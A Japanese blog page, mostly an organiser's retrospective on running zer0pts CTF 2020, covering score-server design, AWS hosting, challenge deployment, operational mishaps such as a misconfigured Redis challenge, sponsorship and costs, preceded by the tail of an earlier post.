    cur *= suborder
    b += 1

この他にもまだ解けてない問題はあったりしますがまあそれはそれ。勉強になりました

*1:僕はyoshi-gccと認識してるけど、他の2人はyoshi-campって書いてるのでyoshi-campかもしれないです

*2:この資料 http://jant.jsiam.org/006-shimizu.pdf の42ページ〜を参照していたと思います

zer0pts CTF 2020 開催記

zer0pts CTF 2020を開催しました。 今回はその反省記事です。

ctftime.org

ちゃんとした記事はこちら

ptr-yudai.hatenablog.com

CTFをどうやって開けばよいのか、ということについては上記 id:ptr-yudai のブログも参考になりますが、TSG CTFの開催記がとても細かく書かれているので、そちらを参照すると良いと思います。この記事は、zer0pts CTF 2020における私の役割と反省になります *1

hakatashi.hatenadiary.com

CTFの規模感

  • 開催期間: 2020-03-07 09:00:00 +09:00 〜 2020-03-09 09:00:00 +09:00 (48h)
  • 参加(=1点以上得点した)チーム数: 432チーム

48時間という設定は、「決して短くはない」「これ以上継続してCTFに臨むのは厳しいだろう」という時間でした。個人的には24時間で十分だと思っていますが、このあたりは色々あります。432チームは、「ctftime.orgに載るCTFとしては少ない」という感じだと思います。これは開催告知が遅くなったのも原因だと思っています(あとUTCTFと丸かぶりした)。

スコアサーバ

スコアサーバは2月に必死に書きました。個人的な経験値から、 Go(echo) + Vue という構成になっています。(zer0pts CTF 2020のためだけの値がcommit logに含まれていてそれを公開するのは嫌なので、そういった情報を消したものを公開しています。ただ、随所にzer0pts CTFという名前は見られると思う)。

gitlab.com

CTFを開催するたびにスコアサーバを書いている気がしますが、これは私たちのCTFdに対する信用の無さから来るもので、CTFdは重たいのではないか、という疑念がありました。というのもCTFdを採用しているCTFで、スコアサーバのレスポンスが極端に悪いものがこれまでいくらか見受けられたためです。ただし TSG CTFではCTFdのこれまでの成果を評価して採用しているので、CTFdが不十分、ということはないはずです。一度CTFdを使ってCTFを開催してみて、CTFdの安定感・使用感を知っておくのがまず最初で、その結果CTFdを採用するかどうかを考えるべきでした。このあたり、スコアサーバを実装したいという気持ちが先行していて良くないですね。

ちなみにスコアサーバの見た目は、良いCTF体験を追求した結果、 watevr CTFのパクリになってしまいました。watevr CTFのスコアサーバ (https://ctf.watevr.xyz/)は個人的に好感度が高くて格好良い&使いやすいを両立していると思います。

スコアサーバをスケールさせたい欲求

前回開催した InterKosenCTF 2019 では、gunicornの引数に並列動作に関する要件 (--worker-class=gevent --worker-connections=500 --workers=3 など)を指定し忘れて開始後数時間、スコアサーバのレスポンスを極端に悪くしましたが、このときの悪い体験と、また今回からは ctftime.org にも掲載するグローバルなCTFになり参加者の増加が予想されるということで、スコアサーバの安定性は大きな課題でした。

そこで今回はAWSのFargateという、コンテナを自動スケールするサービスを利用して、スコアサーバのスペック確保を試みました。結果としては 1GiB RAM / 0.5 vCPUのコンテナ1台で全てのリクエストを捌けていたので、スペック的な問題からコンテナのスケールが活躍することはありませんでしたが、何度かコンテナが不具合で停止したタイミングがあり、その際に自動で新しいインスタンスが起動したことには大いに助けられました。

Fargateは値段も安いので(RDSやElastiCacheを併用することになるので、全体で見たら決して安くはないのですが)、どうせRDSを使う構成にするなら、EC2ではなくてFargateを検討するのもアリかもしれません。

コンテナの不具合

前節で触れましたが、5時間に一度くらいの頻度でコンテナが503を返すようになっていました。コンテナのログからは echo: http: Accept error: accept tcp [::]:80: accept4: too many open files; retrying in 1s というエラーメッセージを拾うことが出来ましたが、これがどういう問題で、何を原因としているのかは調査しきれていません。このような現象をご存知の方は助けてください

問題の扱い方

https://gitlab.com/zer0pts/zer0pts-ctf-2020 で公開しているように、全ての問題は challenges.yaml に詳細を書き、<問題名のディレクトリ>に配布ファイルやサーバの設定を書いてもらうようにしています。これはInterKosenCTFのときとほとんど変わりません *2ディレクトリの構成などは BSidesSF CTFのものが見やすいと感じたため、真似をしています(こちらはk8sなどを使ってデプロイしており、より偉いですが)。

github.com

配布ファイルの取扱い

当初、 transfer.sh をEC2サーバにデプロイしてファイルの配布を行う構想でしたが、途中で怖くなってS3 Bucketにアップロードする方法に変更しました。transfer.shをデプロイするのも悪い手法ではないと思っていて、特に学内CTF等で短時間だけ動作して、スペックを要求しないのであれば Docker で簡単にデプロイ出来て良いと思います。開発中は docker-compose で立ち上がるサーバ一式にtransfer.shも含まれていて、ここにファイルをアップロードして動作確認を行っていました。

前回もそうでしたが、今回作成したzer0ptsctfdでも、問題ディレクトリ中の distfiles 以下のファイルを自動的に tar.gz 形式に固めて 問題名_MD5.tar.gz としてアップロード、 distarchive 以下の .tar.gz をそのままアップロードするプログラムを組んでいます。ただし今回突貫で作業した結果、gz圧縮が行われていない不具合と、配布ファイルの中身が変わってハッシュが変わった場合に、古い配布ファイルの情報を消していなかったため配布ファイルが複数になる不具合を生み出しました。前者は修正済みですが後者はまだなおしていません修正しました。

問題サーバ

サーバを必要とする問題は基本的に docker-compose up で動作するようにしてもらい*3 、前回と同様、いくつかのEC2インスタンス上で docker-compose up を発行して起動していました。これに起因するトラブルもありましたが後述。

また、問題サーバ自体の構築には ansibleスクリプトを書きました。Dockerのインストール、EC2における特殊なIPアドレスへのアクセス禁止tcpdumpの設定などを行っています。

問題サーバを動作させる上で恐れていたのもアクセスの集中によって十分なレスポンスができないのではないか、ということでしたが、t2.medium1台あたり3〜5問程度を十分にさばいてくれました。haproxyなどを挿入して負荷を分散させようという試みもありましたが、うまくデプロイや設定反映をできる気がしなかったため諦めています。

試行錯誤の中には問題デプロイ&実行用k8s クラスタを建てる、という試みもあって、ボタンひとつで git clone、kanikoによるイメージビルド、クラスタリポジトリへのpush、クラスタリポジトリからのpull & デプロイが行われるような仕組みを構築しようとしていましたが、クラスタリポジトリからイメージをpullする方法がわからないことと、デプロイした後のポート公開等のアクセス制御がよくわからない、という点から諦めています。こんなのに2週間持っていかれたのもったいないな。

監視

よくわからないので CloudWatchで収集できるメトリクスだけを監視していました。もうちょっとまともにやったほうがいい感じはありますが何をすべきかよくわかっていません。

f:id:Furutsuki:20200313110418p:plain

AWSへの連絡

忘れていました。

運営中のトラブル

チーム名の制限

当初チーム名は [A-Za-z0-9_-]{1,20} という正規表現に従う文字列に限定していましたが、 ctftime.org に提出したスコアボードからチームにレーティングが割り当てられることを受けて、チーム名に関する制約を撤廃する変更を加え、またチーム名も変更可能にしました。 ctftime.org に登録するCTFを開催する場合には気をつける必要があります。

urlapp

urlappというRedis Command Injection Puzzleを出題しましたが、いくつかのredisコマンドを禁止するための redis.conf${PWD}/redis.conf:/redis.conf などとしてvolumeをマウントして認識させようとしていたところ、sudo 時に PWDが引き継がれない問題に気が付かず、 redis.conf が未設定となりやりたい放題できる状況でした。当初よりもずいぶん難易度が下がったのではないかと思っています。

この問題に対する対策はよくわかりません。そもそも volumeのマウントなどをしている時点で悪いのかも知れない。

動的配点の式を変更した後、点数に反映されない

ptr-yudaiの記事にもありましたが、途中で配点の式を変更しましたが、問題のスコアはRedisでキャッシュして、解かれる度に再計算、というプロセスを採用していたために、計算式の変更後に解かれた問題とそうでない問題で、一時的に配点に差が生じました。結局「全問題の得点を再計算する」エンドポイントを突貫で作成して解決しましたが、こういうエンドポイントを事前に用意しておくべきです。

ちなみに私は動的配点の式を理解していなかったので、このときに点数が負になるなどのバグがありました

EC2のインスタンスタイプを変更したらIPアドレスも変わった

それはそうなんですが、普通に経験不足で気がついていませんでした。CTF終了後も1ヶ月くらいはサーバを動かしているのですが、アクセス数も減ってきたため、EC2インスタンスを減らしたり、小さいインスタンスに変更したりとといったオペレーションを行って費用を抑えようとしたところ、Elastic IPを利用していなかったため、インスタンスのPublic IPアドレスが変わってしまいました。いくつかの問題では、IPアドレスがハードコードされていたため、修正が必要になってしまい、開催期間中でなくて良かったと別の方向で安堵しました。

ちゃんと何かしらのドメインをとってそちらを使うようにするか、Elastic IPを確保していれば防げた問題でした。

資金繰り

私の反省かどうかはさておき、書いておくべきかなと思います。今回は賞金付きCTFとしたため、スポンサーの強力を仰ぐ必要がありました。CTFに賞金をつける確固たる理由は私の中にはまだありませんが、参加者の質の向上や、CTFの質の指標という意味で重要だと思っています。

結果として株式会社アクティブディフェンス研究所様、株式会社ヘマタイト様からの協賛をいただきました。ありがとうございました。協賛をいただくに当たっては、CTFにおける賞金が法に触れないことの説明をしており、今後会計報告を行う予定です。前者に関して、我々の解釈に自信があるわけではないので公開はしませんがお問い合わせいただければどのような説明を行ったのかの説明はできると思います。

値段感

結果としてAWS上で全てを完結させましたが、利用したサービスは EC2 / Fargate / ECR / RDS / ElastiCache / Route 53/ S3 / CloudFront 位になるかと思います。結局 EC2 / RDS / ElastiCacheがほとんどを占めており、 t2.medium 7台程度 、RDS 1つ、ElastiCache 1つで 48h〜を動作させる分を概算すれば今回程度の規模のCTFの開催にかかる費用の見積もりができそうな感じがあります。zer0pts CTF 2020はまだもう少し問題サーバ・スコアサーバ共に動作させる予定があるのでまだ値段は確定していません。

IRC / Slack / Discord

これも私の反省かどうかは微妙ですが、zer0pts CTFでは質問や連絡の場としてIRC / Slack / Discord を検討して Discord を選択しました。

  • IRC はもはや我々のようなひよっこには経験が不足しており、十分な運営ができるか怪しい
  • Slack はワークスペース毎にアカウントを作れるので、CTFerとしてはその方が嬉しい人がいるのではないか
  • と思っていたがDiscordでも同様のことができるらしい
  • じゃあDiscordでいいか

というような選定経過だったと思います。Slack / Discordを利用する際の不安定感に関してですが、我々のスコアサーバ・問題サーバの不安定感に比べればどうということはなく、無視できると思っています。

結び

ptr-yudaiの記事と相補的な内容になったと思います(なっていれば良いが……)。私の個人的な反省としては着手の遅さによるトラブルの数々と、提供した問題の量・質です。

*1:TSG CTFの開催記に言及することが何度かあるので引用しましたが、これでhakatashiさんに通知が飛ぶの怖すぎるな。無視してください

*2:スコアサーバが要求する引数が変化したので、そこだけ変わっています。ちなみにこの変更が十分に伝わっていなかったため、誤って一時的に静的配点になってしまった問題が存在しました

*3:例外としてKernel Exploitの問題があります。このあたりはptr-yudaiが詳しいです